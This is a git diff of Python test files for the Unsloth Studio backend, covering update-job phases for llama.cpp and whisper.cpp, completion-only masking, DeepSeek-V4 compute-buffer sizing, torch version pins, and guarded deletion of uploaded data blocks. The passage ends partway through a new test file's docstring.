+    # The legacy job-level to_tag means "llama tag"; a whisper-only round
+    # leaves it unset so the UI never reports a llama update that never ran.
+    assert job["to_tag"] is None
+    assert job["phases"]["llama"]["state"] == "skipped"
+    assert job["phases"]["llama"]["reason"] == "up_to_date"
+    assert job["phases"]["whisper"]["state"] == "success"
+    assert "Updated whisper.cpp to v1.9.2-unsloth.1." in job["message"]
+
+
+def test_whisper_reload_never_raises_job_reload_flag(monkeypatch, tmp_path):
+    # A whisper-only update that had to unload a warm sidecar reports
+    # reload_required on its phase, but the JOB flag stays down: the chat
+    # frontend resyncs (and clears the local checkpoint) off the job flag,
+    # which must mean "the llama server changed", not "the sidecar restarted".
+    _setup_llama(monkeypatch, tmp_path, installed = "b9518", latest = "b9518")
+    _setup_whisper(monkeypatch, tmp_path)
+    (tmp_path / "install_whisper_prebuilt.py").write_text("stub")
+
+    def _whisper_phase(phase, set_progress):
+        return {
+            "to_tag": "v1.9.2-unsloth.1",
+            "reload_required": True,
+            "message": "Updated whisper.cpp to v1.9.2-unsloth.1.",
+        }
+
+    monkeypatch.setattr(wupd, "run_chained_phase", _whisper_phase)
+    assert upd.start_update()["started"] is True
+    job = _wait_for_job()
+    assert job["state"] == "success", job
+    assert job["phases"]["whisper"]["reload_required"] is True
+    assert not job["reload_required"]
+
+
+def test_apply_refuses_when_both_current(monkeypatch, tmp_path):
+    _setup_llama(monkeypatch, tmp_path, installed = "b9518", latest = "b9518")
+    _setup_whisper(monkeypatch, tmp_path, installed = "v1.9.2-unsloth.1", latest = "v1.9.2-unsloth.1")
+    res = upd.start_update()
+    assert res["started"] is False
+    assert res["reason"] == "up_to_date"
+
+
+def test_apply_llama_failure_aborts_before_whisper(monkeypatch, tmp_path):
+    _setup_llama(monkeypatch, tmp_path)
+    _setup_whisper(monkeypatch, tmp_path)
+    (tmp_path / "install_whisper_prebuilt.py").write_text("stub")
+
+    events = []
+    _patch_llama_installer(monkeypatch, returncode = 2, lines = ["boom: disk full\n"])
+    _patch_whisper_phase(monkeypatch, events)
+
+    assert upd.start_update()["started"] is True
+    job = _wait_for_job()
+    assert job["state"] == "error", job
+    assert "boom" in (job["error"] or "")
+    assert events == []  # whisper never attempted
+    assert job["phases"]["llama"]["state"] == "error"
+    assert job["phases"]["whisper"]["state"] == "skipped"
+    assert job["phases"]["whisper"]["reason"] == "aborted"
+    assert job["message"] == "llama.cpp update failed."
+
+
+def test_apply_whisper_failure_keeps_llama_partial_success(monkeypatch, tmp_path):
+    llama_dir = _setup_llama(monkeypatch, tmp_path)
+    _setup_whisper(monkeypatch, tmp_path)
+    (tmp_path / "install_whisper_prebuilt.py").write_text("stub")
+
+    # An active model makes the llama phase report reload_required.
+    import threading
+    from types import ModuleType
+
+    class _FakeBackend:
+        def __init__(self):
+            self._serial_load_lock = threading.Lock()
+            self._llama_update_in_progress = False
+            self.is_active = True
+
+        def unload_model(self):
+            self.is_active = False
+
+    backend = _FakeBackend()
+    routes_pkg = ModuleType("routes")
+    routes_pkg.__path__ = []
+    inference_mod = ModuleType("routes.inference")
+    inference_mod.get_llama_cpp_backend = lambda: backend
+    monkeypatch.setitem(sys.modules, "routes", routes_pkg)
+    monkeypatch.setitem(sys.modules, "routes.inference", inference_mod)
+
+    events = []
+    _patch_llama_installer(
+        monkeypatch,
+        on_start = lambda cmd: (events.append("llama"), _write_llama_install(llama_dir, "b9518")),
+    )
+    _patch_whisper_phase(monkeypatch, events, error = "whisper installer exploded")
+
+    assert upd.start_update()["started"] is True
+    job = _wait_for_job()
+    assert job["state"] == "error", job
+    assert events == ["llama", "whisper"]
+    # The message says both halves: llama landed, whisper did not.
+    assert "Updated llama.cpp to b9518." in job["message"]
+    assert "whisper.cpp update failed." in job["message"]
+    assert "whisper installer exploded" in (job["error"] or "")
+    # The llama phase's reload_required survives the whisper failure.
+    assert job["reload_required"] is True
+    assert job["to_tag"] == "b9518"
+    assert job["phases"]["llama"]["state"] == "success"
+    assert job["phases"]["whisper"]["state"] == "error"
+
+
+def test_apply_skips_whisper_local_link_silently(monkeypatch, tmp_path):
+    llama_dir = _setup_llama(monkeypatch, tmp_path)
+    _setup_whisper(monkeypatch, tmp_path)
+    monkeypatch.setattr(wupd, "_active_install_is_local_link", lambda b: True)
+
+    events = []
+    _patch_llama_installer(
+        monkeypatch,
+        on_start = lambda cmd: (events.append("llama"), _write_llama_install(llama_dir, "b9518")),
+    )
+    _patch_whisper_phase(monkeypatch, events)
+
+    assert upd.start_update()["started"] is True
+    job = _wait_for_job()
+    assert job["state"] == "success", job
+    assert events == ["llama"]
+    assert job["phases"]["whisper"]["state"] == "skipped"
+    assert job["phases"]["whisper"]["reason"] == "local_link"
+    assert job["message"] == "Updated llama.cpp to b9518."
+
+
+def test_chained_progress_windows(monkeypatch, tmp_path):
+    # The llama phase fills roughly the first 0.7 slice and whisper the rest.
+    llama_dir = _setup_llama(monkeypatch, tmp_path)
+    _setup_whisper(monkeypatch, tmp_path)
+    (tmp_path / "install_whisper_prebuilt.py").write_text("stub")
+
+    seen = {}
+
+    def _whisper_phase(phase, set_progress):
+        with upd._job_lock:
+            seen["at_whisper_start"] = upd._job["progress"]
+        set_progress(0.5)
+        with upd._job_lock:
+            seen["mid_whisper"] = upd._job["progress"]
+        return {"to_tag": "v1.9.2-unsloth.1", "reload_required": False, "message": "ok"}
+
+    monkeypatch.setattr(wupd, "run_chained_phase", _whisper_phase)
+    _patch_llama_installer(
+        monkeypatch,
+        lines = ["Downloading app.tar.gz: 100.0% (35.0 MiB/35.0 MiB) at 9.0 MiB/s\n"],
+        on_start = lambda cmd: _write_llama_install(llama_dir, "b9518"),
+    )
+
+    assert upd.start_update()["started"] is True
+    job = _wait_for_job()
+    assert job["state"] == "success", job
+    assert seen["at_whisper_start"] == pytest.approx(0.7)
+    assert seen["mid_whisper"] == pytest.approx(0.7 + 0.5 * 0.3)
+    assert job["progress"] == 1.0
diff --git a/studio/backend/tests/test_completion_masking.py b/studio/backend/tests/test_completion_masking.py
new file mode 100644
index 0000000000..be0d8a69bd
--- /dev/null
+++ b/studio/backend/tests/test_completion_masking.py
@@ -0,0 +1,314 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Completion-only masking policy: auto-detect first, manual table fallback.
+
+Covers utils.datasets.completion_masking.apply_completion_masking, shared by
+the CUDA trainer (core/training/trainer.py) and the MLX worker
+(core/training/worker.py):
+  - unmapped models use chat template auto-detection (previously masking was
+    silently disabled),
+  - gpt-oss goes auto-first too (its quantized checkpoints ship a template
+    the manual markers cannot match),
+  - an auto-detection failure falls back to the template table markers,
+  - a table miss after an auto failure warns and leaves the trainer unchanged.
+"""
+
+from __future__ import annotations
+
+import pytest
+
+from utils.datasets.completion_masking import apply_completion_masking, lookup_manual_markers
+from utils.datasets.model_mappings import TEMPLATE_TO_RESPONSES_MAPPER
+
+
+class _Trainer:
+    """Sentinel trainer; train_fn wraps it in a new object when applied."""
+
+
+class _Recorder:
+    """Fake train_on_responses_only that records calls."""
+
+    def __init__(self):
+        self.calls = []
+
+    def __call__(self, trainer, **kwargs):
+        self.calls.append(kwargs)
+        wrapped = _Trainer()
+        wrapped.wrapped_from = trainer
+        return wrapped
+
+
+def _detect_ok(processor):
+    return "<INS>", "<RES>"
+
+
+def _detect_fail(processor):
+    raise ValueError(
+        "Unsloth: Could not reliably auto-detect response_part - "
+        "pass instruction_part and response_part."
+    )
+
+
+_AUTO = {"instruction_part": "<INS>", "response_part": "<RES>"}
+
+
+class _Notes:
+    def __init__(self):
+        self.messages = []
+
+    def __call__(self, level, message):
+        self.messages.append((level, message))
+
+    def warnings(self):
+        return [m for level, m in self.messages if level == "warning"]
+
+
+def test_unmapped_model_uses_auto_detection():
+    # Unmapped model: the auto path applies masking (was silently disabled).
+    trainer = _Trainer()
+    train_fn = _Recorder()
+    notes = _Notes()
+
+    result, applied = apply_completion_masking(
+        trainer, "LiquidAI/LFM2-8B-A1B", train_fn, notify = notes, detect_fn = _detect_ok
+    )
+
+    assert applied is True
+    assert result.wrapped_from is trainer
+    assert train_fn.calls == [dict(_AUTO)]  # applied with the detected markers
+    assert notes.warnings() == []
+
+
+def test_mapped_model_prefers_auto_detection():
+    trainer = _Trainer()
+    train_fn = _Recorder()
+
+    _, applied = apply_completion_masking(
+        trainer, "unsloth/Qwen3-0.6B", train_fn, detect_fn = _detect_ok
+    )
+
+    assert applied is True
+    assert train_fn.calls == [dict(_AUTO)]
+
+
+def test_gpt_oss_uses_auto_detection_first():
+    # The quantized gpt-oss checkpoints ship a template without the
+    # <|channel|>final header, where the manual markers match nothing; auto
+    # derives markers from the template the checkpoint actually ships.
+    trainer = _Trainer()
+    train_fn = _Recorder()
+
+    _, applied = apply_completion_masking(
+        trainer, "unsloth/gpt-oss-20b", train_fn, detect_fn = _detect_ok
+    )
+
+    assert applied is True
+    assert train_fn.calls == [dict(_AUTO)]
+
+
+def test_gpt_oss_detection_failure_falls_back_to_manual_markers():
+    trainer = _Trainer()
+    train_fn = _Recorder()
+
+    _, applied = apply_completion_masking(
+        trainer, "unsloth/gpt-oss-20b", train_fn, detect_fn = _detect_fail
+    )
+
+    assert applied is True
+    expected = TEMPLATE_TO_RESPONSES_MAPPER["gpt-oss"]
+    assert train_fn.calls == [
+        {
+            "instruction_part": expected["instruction"],
+            "response_part": expected["response"],
+        }
+    ]
+
+
+def test_auto_failure_falls_back_to_template_table():
+    trainer = _Trainer()
+    train_fn = _Recorder()
+    notes = _Notes()
+
+    result, applied = apply_completion_masking(
+        trainer, "unsloth/Qwen3-0.6B", train_fn, notify = notes, detect_fn = _detect_fail
+    )
+
+    assert applied is True
+    assert result.wrapped_from is trainer
+    expected = TEMPLATE_TO_RESPONSES_MAPPER["qwen3"]
+    assert train_fn.calls == [
+        {
+            "instruction_part": expected["instruction"],
+            "response_part": expected["response"],
+        },
+    ]
+    assert any("falling back to the template table" in m for m in notes.warnings())
+
+
+def test_application_failure_propagates_not_fallback():
+    # Detection succeeds; a failure while APPLYING the masking must propagate,
+    # never silently fall back to full-sequence training.
+    def train_fn(trainer, **kwargs):
+        raise RuntimeError("dataset map worker crashed")
+
+    with pytest.raises(RuntimeError, match = "dataset map worker crashed"):
+        apply_completion_masking(_Trainer(), "LiquidAI/LFM2-8B-A1B", train_fn, detect_fn = _detect_ok)
+
+
+def test_preset_tokenizer_markers_used_directly():
+    # Preset unsloth marker attrs skip detection; zoo reuses them on a bare call.
+    class _Tok:
+        _unsloth_input_part = "<I>"
+        _unsloth_output_part = "<O>"
+
+    trainer = _Trainer()
+    trainer.processing_class = _Tok()
+    train_fn = _Recorder()
+
+    _, applied = apply_completion_masking(
+        trainer, "LiquidAI/LFM2-8B-A1B", train_fn, detect_fn = _detect_fail
+    )
+    assert applied is True
+    assert train_fn.calls == [{}]  # bare call, stored parts
+
+
+def test_table_miss_warns_and_disables_without_crashing():
+    trainer = _Trainer()
+    train_fn = _Recorder()
+    notes = _Notes()
+
+    result, applied = apply_completion_masking(
+        trainer, "some-org/not-in-any-mapper", train_fn, notify = notes, detect_fn = _detect_fail
+    )
+
+    assert applied is False
+    assert result is trainer  # unchanged: full sequence training
+    assert train_fn.calls == []  # detection failed; nothing applied
+    assert any("could not be applied" in m for m in notes.warnings())
+    assert any("full sequences" in m for m in notes.warnings())
+
+
+def test_num_proc_forwarded_only_when_given():
+    # CUDA path passes num_proc; the MLX path omits it.
+    train_fn = _Recorder()
+    apply_completion_masking(
+        _Trainer(), "unsloth/Qwen3-0.6B", train_fn, num_proc = 4, detect_fn = _detect_ok
+    )
+    assert train_fn.calls == [dict(_AUTO, num_proc = 4)]
+
+    train_fn = _Recorder()
+    apply_completion_masking(
+        _Trainer(), "unsloth/Qwen3-0.6B", train_fn, num_proc = 4, detect_fn = _detect_fail
+    )
+    assert train_fn.calls[0]["num_proc"] == 4
+
+    train_fn = _Recorder()
+    apply_completion_masking(_Trainer(), "unsloth/Qwen3-0.6B", train_fn, detect_fn = _detect_ok)
+    assert train_fn.calls == [dict(_AUTO)]
+
+
+def test_manual_fallback_failure_propagates_to_caller():
+    # Errors while applying the manual fallback must propagate to the caller.
+    def train_fn(trainer, **kwargs):
+        raise RuntimeError("boom")
+
+    with pytest.raises(RuntimeError, match = "boom"):
+        apply_completion_masking(_Trainer(), "unsloth/gpt-oss-20b", train_fn)
+
+
+def test_notify_is_optional():
+    train_fn = _Recorder()
+    _, applied = apply_completion_masking(
+        _Trainer(), "some-org/not-in-any-mapper", train_fn, detect_fn = _detect_fail
+    )
+    assert applied is False
+
+
+def test_lookup_manual_markers():
+    template, instruction, response = lookup_manual_markers("unsloth/Qwen3-0.6B")
+    assert template == "qwen3"
+    assert instruction == TEMPLATE_TO_RESPONSES_MAPPER["qwen3"]["instruction"]
+    assert response == TEMPLATE_TO_RESPONSES_MAPPER["qwen3"]["response"]
+
+    template, instruction, response = lookup_manual_markers("some-org/unknown")
+    assert (template, instruction, response) == (None, None, None)
+
+    template, instruction, response = lookup_manual_markers(None)
+    assert (template, instruction, response) == (None, None, None)
+
+
+def test_renamed_gpt_oss_gets_template_markers():
+    # Name-detected as gpt-oss but not in the exact-name table: must use the
+    # gpt-oss markers, not fall through to full-sequence training.
+    trainer = _Trainer()
+    train_fn = _Recorder()
+
+    _, applied = apply_completion_masking(
+        trainer, "some-org/gpt-oss-20b-sft", train_fn, detect_fn = _detect_fail
+    )
+    assert applied is True
+    expected = TEMPLATE_TO_RESPONSES_MAPPER["gpt-oss"]
+    assert train_fn.calls == [
+        {
+            "instruction_part": expected["instruction"],
+            "response_part": expected["response"],
+        }
+    ]
+
+
+class _FakeTokenizerWrapper:
+    """mlx-lm TokenizerWrapper semantics: plain reads delegate to the wrapped
+    tokenizer, underscore attrs do not (so preset markers are hidden)."""
+
+    def __init__(self, tokenizer):
+        object.__setattr__(self, "_tokenizer", tokenizer)
+
+    def __getattr__(self, attr):
+        if attr.startswith("_"):
+            return object.__getattribute__(self, attr)
+        return getattr(object.__getattribute__(self, "_tokenizer"), attr)
+
+
+_FakeTokenizerWrapper.__name__ = "TokenizerWrapper"
+
+
+def test_mlx_tokenizer_wrapper_unwrapped_for_preset_markers():
+    # Markers live on the inner HF tokenizer that the wrapper hides; the helper
+    # must unwrap so the preset bare-call path still fires on MLX.
+    class _Tok:
+        _unsloth_input_part = "<I>"
+        _unsloth_output_part = "<O>"
+
+    trainer = _Trainer()
+    trainer.tokenizer = _FakeTokenizerWrapper(_Tok())
+    train_fn = _Recorder()
+
+    _, applied = apply_completion_masking(
+        trainer, "LiquidAI/LFM2-8B-A1B", train_fn, detect_fn = _detect_fail
+    )
+    assert applied is True
+    assert train_fn.calls == [{}]  # bare call, stored parts
+
+
+def test_mlx_tokenizer_wrapper_unwrapped_for_detection():
+    # Detection must see the real tokenizer, not the wrapper, so it does not
+    # depend on the loader's __call__ patch.
+    class _Tok:
+        pass
+
+    inner = _Tok()
+    trainer = _Trainer()
+    trainer.tokenizer = _FakeTokenizerWrapper(inner)
+    train_fn = _Recorder()
+    seen = []
+
+    def detect(processor):
+        seen.append(processor)
+        return "<INS>", "<RES>"
+
+    _, applied = apply_completion_masking(
+        trainer, "LiquidAI/LFM2-8B-A1B", train_fn, detect_fn = detect
+    )
+    assert applied is True
+    assert seen == [inner]
diff --git a/studio/backend/tests/test_compute_buffer.py b/studio/backend/tests/test_compute_buffer.py
index 5d14c5c5bd..3e95acc98d 100644
--- a/studio/backend/tests/test_compute_buffer.py
+++ b/studio/backend/tests/test_compute_buffer.py
@@ -65,12 +65,14 @@ def _backend(
     vocab = 248320,
     embd = 5120,
     mla = None,
+    arch = None,
 ):
     """Backend with just the dims the compute-buffer estimate reads."""
     b = LlamaCppBackend.__new__(LlamaCppBackend)
     b._vocab_size = vocab
     b._embedding_length = embd
     b._key_length_mla = mla  # non-None -> MLA (compressed attention)
+    b._architecture = arch  # GGUF general.architecture (e.g. 'deepseek4')
     return b
 
 
@@ -150,7 +152,7 @@ class TestFallback:
 
 
 class TestParallel1Default:
-    """At Studio's default --parallel 1 the buffer is negligible in pipeline."""
+    """At Unsloth's default --parallel 1 the buffer is negligible in pipeline."""
 
     def test_default_n_parallel(self):
         est = _backend()._estimate_compute_buffer_bytes() / MIB
@@ -290,3 +292,62 @@ class TestContextBufferMLA:
         b = _backend(embd = 6144, mla = 256)
         est = b._compute_buffer_ctx_bytes(754688, cache_type_kv = "q8_0") / MIB
         assert est <= 4141 * 1.7
+
+
+class TestContextBufferDSV4:
+    """DeepSeek-V4 (deepseek4) reserves a large lightning-indexer / sparse-attention
+    compute buffer the KQ-mask and MLA rates miss (present even with an f16 cache).
+    Measured on UD-Q4_K_XL (ub=512): ~2 GiB at 16k ctx, ~65.5 GiB at 1M. The auto-fit
+    must see this so it does not commit the full 1M train context and OOM (spilling
+    to CPU at ~4 tok/s)."""
+
+    _MEASURED_1M_GIB = 65.5  # 70353790464 B compute-graph reserve that OOM'd at 1M ctx
+    GIB = 1024**3
+
+    def test_covers_measured_1m_buffer(self):
+        b = _backend(embd = 4096, arch = "deepseek4")
+        gib = b._compute_buffer_ctx_bytes(1048576, cache_type_kv = "f16") / self.GIB
+        assert gib >= self._MEASURED_1M_GIB, f"under-reserved {gib:.1f} < {self._MEASURED_1M_GIB}"
+
+    def test_not_wildly_over_at_1m(self):
+        # Within ~1.3x of measured so the fit still grants a large (~256k) context.
+        b = _backend(embd = 4096, arch = "deepseek4")
+        gib = b._compute_buffer_ctx_bytes(1048576, cache_type_kv = "f16") / self.GIB
+        assert gib <= self._MEASURED_1M_GIB * 1.3
+
+    def test_fires_for_f16_cache(self):
+        # The bug: an f16 (default) cache took the tiny mask-only path. DSV4 must
+        # reserve GiB, not the ~MiB a non-DSV4 model reserves at the same ctx.
+        dsv4 = _backend(embd = 4096, arch = "deepseek4")._compute_buffer_ctx_bytes(
+            262144, cache_type_kv = "f16"
+        )
+        other = _backend(embd = 4096, arch = "qwen3")._compute_buffer_ctx_bytes(
+            262144, cache_type_kv = "f16"
+        )
+        assert dsv4 > 40 * other
+
+    def test_cache_type_independent(self):
+        # Indexer scratch is present for an f16 and a quantized cache alike.
+        b = _backend(embd = 4096, arch = "deepseek4")
+        assert b._compute_buffer_ctx_bytes(
+            262144, cache_type_kv = "f16"
+        ) == b._compute_buffer_ctx_bytes(262144, cache_type_kv = "q8_0")
+
+    def test_flat_floor_at_small_ctx(self):
+        # ~2 GiB indexer scratch present even at tiny ctx (covers the measured 16k ~2 GiB).
+        b = _backend(embd = 4096, arch = "deepseek4")
+        assert b._compute_buffer_ctx_bytes(16384, cache_type_kv = "f16") / self.GIB >= 2.0
+
+    def test_scales_with_context_and_ubatch(self):
+        b = _backend(embd = 4096, arch = "deepseek4")
+        assert b._compute_buffer_ctx_bytes(131072) > b._compute_buffer_ctx_bytes(65536)
+        assert b._compute_buffer_ctx_bytes(131072, n_ubatch = 1024) > b._compute_buffer_ctx_bytes(
+            131072, n_ubatch = 256
+        )
+
+    def test_non_dsv4_unchanged(self):
+        # Regression guard: a non-deepseek4 model keeps the mask-only f16 rate.
+        b = _backend(embd = 4096, arch = "llama")
+        per_tok = b._compute_buffer_ctx_bytes(100000, cache_type_kv = "f16") / 100000
+        expected = 512 * 2 * LlamaCppBackend._CTX_COMPUTE_F16_MASK_SAFETY
+        assert per_tok == pytest.approx(expected, rel = 1e-6)
diff --git a/studio/backend/tests/test_consent_gate.py b/studio/backend/tests/test_consent_gate.py
index 804221ec7e..181e0c9fad 100644
--- a/studio/backend/tests/test_consent_gate.py
+++ b/studio/backend/tests/test_consent_gate.py
@@ -873,6 +873,7 @@ class TestScannerCoversAllExecutableCode:
             repo,
             fn,
             token = None,
+            cache_dir = None,
         ):
             if fn == "config.json":
                 import json
@@ -899,6 +900,7 @@ class TestScannerCoversAllExecutableCode:
             repo,
             fn,
             token = None,
+            cache_dir = None,
         ):
             import json
             import tempfile
@@ -932,6 +934,7 @@ class TestScannerCoversAllExecutableCode:
             repo,
             fn,
             token = None,
+            cache_dir = None,
         ):
             import json
             import tempfile
@@ -972,6 +975,7 @@ class TestScannerCoversAllExecutableCode:
             repo,
             fn,
             token = None,
+            cache_dir = None,
         ):
             import json
             import tempfile
@@ -1008,6 +1012,7 @@ class TestScannerCoversAllExecutableCode:
             repo,
             fn,
             token = None,
+            cache_dir = None,
         ):
             import json
             import tempfile
@@ -1037,6 +1042,7 @@ class TestScannerCoversAllExecutableCode:
             repo,
             fn,
             token = None,
+            cache_dir = None,
         ):
             import json
             import tempfile
@@ -1079,6 +1085,7 @@ class TestScannerCoversAllExecutableCode:
             repo,
             fn,
             token = None,
+            cache_dir = None,
         ):
             import json
             import tempfile
@@ -1120,6 +1127,7 @@ class TestScannerCoversAllExecutableCode:
             repo,
             fn,
             token = None,
+            cache_dir = None,
         ):
             import json
             import tempfile
@@ -1182,6 +1190,7 @@ class TestScannerCoversAllExecutableCode:
             repo,
             fn,
             token = None,
+            cache_dir = None,
         ):
             import json
             import tempfile
diff --git a/studio/backend/tests/test_cpu_threads.py b/studio/backend/tests/test_cpu_threads.py
index 2930c9f081..9d8795b6c0 100644
--- a/studio/backend/tests/test_cpu_threads.py
+++ b/studio/backend/tests/test_cpu_threads.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Tests for Studio's early CPU thread-pool configuration."""
+"""Tests for Unsloth's early CPU thread-pool configuration."""
 
 import ast
 import os
@@ -30,7 +30,7 @@ def test_cpu_thread_cap_seeds_native_pool_limits():
     }
 
 
-# Explicit per-library values win over the Studio knob via setdefault.
+# Explicit per-library values win over the Unsloth knob via setdefault.
 def test_cpu_thread_cap_preserves_runtime_specific_override():
     env = {"UNSLOTH_CPU_THREADS": "4", "OMP_NUM_THREADS": "2"}
 
diff --git a/studio/backend/tests/test_cuda_torch_spec.py b/studio/backend/tests/test_cuda_torch_spec.py
new file mode 100644
index 0000000000..928cef787e
--- /dev/null
+++ b/studio/backend/tests/test_cuda_torch_spec.py
@@ -0,0 +1,73 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for _CUDA_TORCH_PKG_SPEC in install_python_stack.py.
+
+The CUDA repair path installs the torch trio from an exclusive --index-url (no
+PyPI fallback), so these pinned ranges decide which torch the venv gets. The
+upper bound is locked to the 2.11.x family to match the base image and rocm7.2
+spec and to keep the companions off a torch-2.12 wheel that would ABI-mismatch.
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+import pytest
+from packaging.requirements import Requirement
+
+# install_python_stack.py lives at repo_root/studio/install_python_stack.py
+_INSTALL_SCRIPT = Path(__file__).resolve().parents[2] / "install_python_stack.py"
+
+
+def _load_module(monkeypatch):
+    """(Re-)import and return install_python_stack (mirrors test_torchao_select)."""
+    sys.modules.pop("install_python_stack", None)
+    monkeypatch.syspath_prepend(str(_INSTALL_SCRIPT.parent))
+    import install_python_stack
+
+    return install_python_stack
+
+
+def _spec_of(pkg_spec: str):
+    """Parse 'torch>=2.4,<2.12.0' into a packaging SpecifierSet."""
+    return Requirement(pkg_spec).specifier
+
+
+@pytest.mark.parametrize(
+    "index, allowed, rejected",
+    [
+        # torch: 2.11.x allowed (matches base image); 2.12.x excluded.
+        (0, ["2.11.0", "2.11.2", "2.10.0", "2.4.0"], ["2.12.0", "2.3.0", "1.13.1"]),
+        # torchvision: 0.26.x (torch 2.11 companion) allowed; 0.27.x (torch 2.12) out.
+        (1, ["0.26.0", "0.26.1", "0.19.0"], ["0.27.0", "0.18.0"]),
+        # torchaudio: same 2.11.x window as torch.
+        (2, ["2.11.0", "2.10.0", "2.4.0"], ["2.12.0", "2.3.0"]),
+    ],
+)
+def test_cuda_spec_bounds(monkeypatch, index, allowed, rejected):
+    mod = _load_module(monkeypatch)
+    spec = _spec_of(mod._CUDA_TORCH_PKG_SPEC[index])
+    for v in allowed:
+        assert spec.contains(v, prereleases = True), f"{v} should satisfy {spec}"
+    for v in rejected:
+        assert not spec.contains(v, prereleases = True), f"{v} should not satisfy {spec}"
+
+
+def test_cuda_spec_matches_rocm72_upper_bound(monkeypatch):
+    """CUDA and rocm7.2 target the same torch 2.11.x family, so their upper
+    bounds must stay in lockstep (bump both together at 2.12.x)."""
+    mod = _load_module(monkeypatch)
+    rocm72 = mod._ROCM_TORCH_PKG_SPECS["rocm7.2"]
+
+    def _upper(pkg_spec: str) -> str:
+        for clause in _spec_of(pkg_spec):
+            if clause.operator == "<":
+                return clause.version
+        raise AssertionError(f"no upper bound in {pkg_spec!r}")
+
+    for cuda_pkg, rocm_pkg in zip(mod._CUDA_TORCH_PKG_SPEC, rocm72, strict = True):
+        assert _upper(cuda_pkg) == _upper(
+            rocm_pkg
+        ), f"CUDA {cuda_pkg!r} upper bound must match rocm7.2 {rocm_pkg!r}"
diff --git a/studio/backend/tests/test_data_recipe_seed.py b/studio/backend/tests/test_data_recipe_seed.py
index 09e22116ed..58bbd24061 100644
--- a/studio/backend/tests/test_data_recipe_seed.py
+++ b/studio/backend/tests/test_data_recipe_seed.py
@@ -124,3 +124,100 @@ def test_unstructured_upload_import_errors_stay_generic(monkeypatch, tmp_path, e
     assert result.status == "error"
     assert result.error == "Text extraction failed."
     assert _block_files(seed_route) == []
+
+
+_TEST_UPLOAD_UID = "0f" * 16
+
+
+def test_remove_unstructured_block_deletes_directory(monkeypatch, tmp_path):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+    _run_upload(seed_route, "notes.txt", b"hello", block_id = _TEST_UPLOAD_UID)
+    assert _block_files(seed_route, _TEST_UPLOAD_UID) != []
+
+    result = asyncio.run(seed_route.remove_unstructured_block(_TEST_UPLOAD_UID))
+
+    assert result == {"status": "ok", "deleted": True}
+    assert not (seed_route.UNSTRUCTURED_UPLOAD_ROOT / _TEST_UPLOAD_UID).exists()
+
+
+def test_remove_unstructured_block_missing_directory_is_ok(monkeypatch, tmp_path):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+
+    result = asyncio.run(seed_route.remove_unstructured_block(_TEST_UPLOAD_UID))
+
+    assert result == {"status": "ok", "deleted": False}
+
+
+def test_remove_unstructured_block_rejects_unsafe_ids(monkeypatch, tmp_path):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+
+    with pytest.raises(seed_route.HTTPException) as exc:
+        asyncio.run(seed_route.remove_unstructured_block("../escape"))
+
+    assert exc.value.status_code == 400
+
+
+def test_remove_unstructured_block_rejects_legacy_node_ids(monkeypatch, tmp_path):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+    _run_upload(seed_route, "notes.txt", b"hello", block_id = "n1")
+    assert _block_files(seed_route, "n1") != []
+
+    with pytest.raises(seed_route.HTTPException) as exc:
+        asyncio.run(seed_route.remove_unstructured_block("n1"))
+
+    assert exc.value.status_code == 400
+    assert _block_files(seed_route, "n1") != []
+
+
+def test_remove_unstructured_block_rejects_symlink_escape(monkeypatch, tmp_path):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+    outside = tmp_path / "outside"
+    outside.mkdir()
+    (outside / "victim.txt").write_text("keep me")
+    root = seed_route.UNSTRUCTURED_UPLOAD_ROOT
+    root.mkdir(parents = True)
+    (root / _TEST_UPLOAD_UID).symlink_to(outside)
+
+    with pytest.raises(seed_route.HTTPException) as exc:
+        asyncio.run(seed_route.remove_unstructured_block(_TEST_UPLOAD_UID))
+
+    assert exc.value.status_code == 400
+    assert (outside / "victim.txt").exists()
+
+
+def test_remove_unstructured_block_fails_if_directory_remains(monkeypatch, tmp_path):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+    root = seed_route.UNSTRUCTURED_UPLOAD_ROOT
+    block_dir = root / _TEST_UPLOAD_UID
+    block_dir.mkdir(parents = True)
+    (block_dir / "victim.txt").write_text("keep me")
+
+    calls = []
+
+    def noop_rmtree(path, *args, **kwargs):
+        calls.append((path, args, kwargs))
+
+    monkeypatch.setattr(seed_route.shutil, "rmtree", noop_rmtree)
+
+    with pytest.raises(seed_route.HTTPException) as exc:
+        asyncio.run(seed_route.remove_unstructured_block(_TEST_UPLOAD_UID))
+
+    assert calls
+    assert exc.value.status_code == 500
+    assert block_dir.exists()
+
+
+def test_total_upload_quota_is_scoped_per_block(monkeypatch, tmp_path):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+    monkeypatch.setattr(seed_route, "UNSTRUCTURED_RECIPE_UPLOAD_TOTAL_MAX_BYTES", 10)
+
+    first = _run_upload(seed_route, "a.txt", b"123456789")
+    assert first.status == "ok"
+
+    with pytest.raises(seed_route.HTTPException) as exc:
+        _run_upload(seed_route, "b.txt", b"123")
+    assert exc.value.status_code == 413
+
+    # Another block starts with its own untouched budget.
+    other = _run_upload(seed_route, "c.txt", b"123", block_id = "other")
+    assert other.status == "ok"
diff --git a/studio/backend/tests/test_deepseek_v4_thinking_effort.py b/studio/backend/tests/test_deepseek_v4_thinking_effort.py
new file mode 100644
index 0000000000..0d60d9b5ec
--- /dev/null
+++ b/studio/backend/tests/test_deepseek_v4_thinking_effort.py
@@ -0,0 +1,178 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""DeepSeek-V4-Flash reasoning toggle: None / High / Max.
+
+The GGUF template gates thinking with ``enable_thinking`` and only branches
+``reasoning_effort`` on ``'max'`` (an escalation layered over plain thinking).
